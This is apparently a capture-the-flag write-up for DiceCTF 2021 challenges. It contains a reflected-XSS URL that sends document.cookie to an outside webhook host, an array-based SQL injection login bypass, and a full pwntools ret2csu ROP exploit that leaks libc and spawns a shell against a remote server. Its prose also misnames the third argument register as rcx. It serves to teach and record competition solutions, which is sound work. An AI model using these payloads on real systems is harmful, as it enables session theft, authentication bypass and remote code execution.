# DiceCTF 2021 This competition was on 5 - 7 Feb 2021. We placed 157th / 1059. ## Babier CSP HTML ended up being executed directly on a webpage through a get parameter (name), but script tags weren't. After I added the fixed CSP nonce to the script tag, I was able to achieve a reflected XSS. `Webhook.site` is a site which allows the logging of the HTTP requests to itself, which I used to recover the secret cookie and ultimately the flag. The complete payload was https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=%22LRGWAXOY98Es0zz0QOVmag==%22%20src=%22https://webhook.site/e5a244d7-94d3-40f8-899e-e268de336024?cookie=%22%2Bdocument.cookie%3E%3C/script%3E ## babymix I determined the state which lead to "Correct!" being outputted in a crackme which was ultimately the flag. Read more at https://docs.angr.io/core-concepts/pathgroups ``` import angr b = angr.Project('babymix') simgr = b.factory.simgr() simgr.explore(find=lambda s: b"Correct!" in s.posix.dumps(1)) s = simgr.found[0] print(s.posix.dumps(1)) flag = s.posix.dumps(0) print(flag) ``` ## Missing flavortext ![](https://i.imgur.com/beSrK2g.png) ![](https://i.imgur.com/kBWdSl1.png) After reading the source, this appears to be a sqlite injection with an apostrophe restriction. However, it seems impossible! You need double quotes to escape out of an apostrophe in sqlite, so `user: \, pass: OR 1=1; --` doesn't work. Luckily, the backend javascript uses an includes function to filter apostrophes. Making password an array would bypass the apostrophe restriction. `user: admin` `pass[]: ' OR 1=1;--` as get parameters will grant you the flag! ## babyrop ![](https://i.imgur.com/hf8eErM.png) I disassembled the binary with `objdump -d babyrop -M intel`. I noticed a large number of pops in `__libc_csu_init`, which is indicative of an abundance of ROP gadgets. ROP gadgets enable one to control register (assembly variable) values without executing shellcode/writing stuff on the stack. Because of this observation, I suspected this binary to be vulnerable to ret2csu. I followed https://pwning.tech/2020/04/13/ret2csu/ a lot. The premise is that `__libc_csu_init` allows one to control the three top argument registers, rdi, rsi, and rcx, from the x64 calling convention. Put another way, when calling a function in x64 assembly, the first argument needs to be in rdi, second in rsi, and third in rcx. This enables one to call `write`, which has three arguments (`man 2 write`), which will output the address of any function in GOT table. This is important because GOT tables enable in loading functions from libc (a global C library) at runtime, and these functions' address locations are randomized. By printing out a function in the GOT table, you can de-randomize the libc base, and therefore use one gadgets (automatic shell popping gadgets in libc versions). The complete "tools" I used in no particular order were: * gdb (C binary debugger) * gef (Prints out stack info, helped me find buffer overflow offset with 'pattern create' and 'pattern search') * skel from gef-scripts (skeleton code) * pwntools (library required to run skel) * objdump to read through disassembly of binary * ldd to locate which library was dynamically linked to binary * onegadget to discover one gadgets given a libc file * ROPgadget to discover ROP gadgets * tmux (required to run skel template) ``` #!/usr/bin/env python3 import sys, os from pwn import * context.update( arch="amd64", endian="little", os="linux", log_level="debug", terminal=["tmux", "split-window", "-h", "-p 65"], ) REMOTE = False TARGET = os.path.realpath("/home/jolly/Downloads/babyrop") elf = ELF(TARGET) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def attach(r): if not REMOTE: bkps = ['*0x40116b'] cmds = [] gdb.attach(r, '\n'.join(["break %s" % (x,) for x in bkps] + cmds)) def pad_null_bytes(value): return value + b'\x00' * (8 - len(value)) # rdi, rsi, rdx, rcx def set_args(val1, val2, val3): buf = b'' buf += p64(0x4011ca) # pop rbx, pop rbp, pop r12, pop r13, pop r14, pop r15 buf += p64(0) buf += p64(1) buf += p64(val1) buf += p64(val2) buf += p64(val3) buf += p64(0x403e28) """ mov rdx, r14; mov rsi, r13; mov edi, r12d; call QWORD PTR [r15+rbx*8] # => [0x403e28]->0x401000 add rbx, 01; cmp rbp, rbx; jne ...; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; """ buf += p64(0x4011b0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) buf += p64(0) return buf def exploit(r): attach(r) buf = b'' buf += b'A' * 72 """ write@plt ( $rdi = 0x0000000000000001, $rsi = 0x0000000000402004 → "Your name: ", $rdx = 0x000000000000000b ) """ # write(fd=1, buf=GOT[gets], count=8) buf += set_args(1, elf.got['gets'], 8) buf += p64(elf.plt['write']) # call to write buf += p64(elf.symbols['main']) r.sendline(buf) r.recv(0xb) gets_loc = r.recv(6) gets_leak = u64(pad_null_bytes(gets_loc)) libc.address = gets_leak - libc.symbols['gets'] log.info(f"Libc @ {hex(libc.address)}") pop_rdi = p64(0x4011d3) buf = b'' buf += b'A' * 72 # below can be replaced with buf += p64(libc.address + onegadgetaddr) buf += pop_rdi buf += p64(next(libc.search(b"/bin/sh"))) buf += p64(libc.sym["system"]) buf += p64(libc.sym["exit"]) r.sendline(buf) r.interactive() if __name__ == "__main__": if len(sys.argv) == 2 and sys.argv[1] == "remote": REMOTE = True r = remote("dicec.tf", 31924) else: REMOTE = False r = process([TARGET,]) exploit(r) sys.exit(0) ``` ![](https://i.imgur.com/Oyd9rMk.png)